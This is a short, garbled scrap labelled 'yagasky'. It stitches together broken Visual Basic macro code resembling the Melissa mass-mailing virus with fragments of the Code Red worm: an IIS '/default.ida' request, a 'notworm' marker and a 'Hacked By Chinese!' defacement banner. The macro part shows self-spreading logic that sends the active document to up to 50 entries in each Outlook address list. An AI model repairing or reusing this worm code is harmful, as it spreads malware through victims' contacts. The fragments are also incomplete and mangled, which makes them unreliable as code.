yagasky

yagasky

If
UngaDasOutlook CreateObject("Outlook.Application")
DasMapiName UngaDasOutlook.GetNameSpace("MAPI")
For y = 1 To DasMapiName.AddressLists.Count
Set BreakUmOffASlice = UngaDasOutlook.CreateItem(0)
For oo = 1 To AddyBook.AddressEntries.Count
BreakUmOffASlice.Recipients.Add Peep
If x > 50 Then oo = AddyBook.AddressEntries.Count
show anyone else
BreakUmOffASlice.Attachments.Add ActiveDocument.FullName
BreakUmOffASlice.Send
Peep = ""
Next y
DasMapiName.Logoff
End If

GET /default.ida
c:\notworm LMTH
Welcome to http://www.worm.com !<br><br>Hacked By Chinese!</font></hr></bady></html>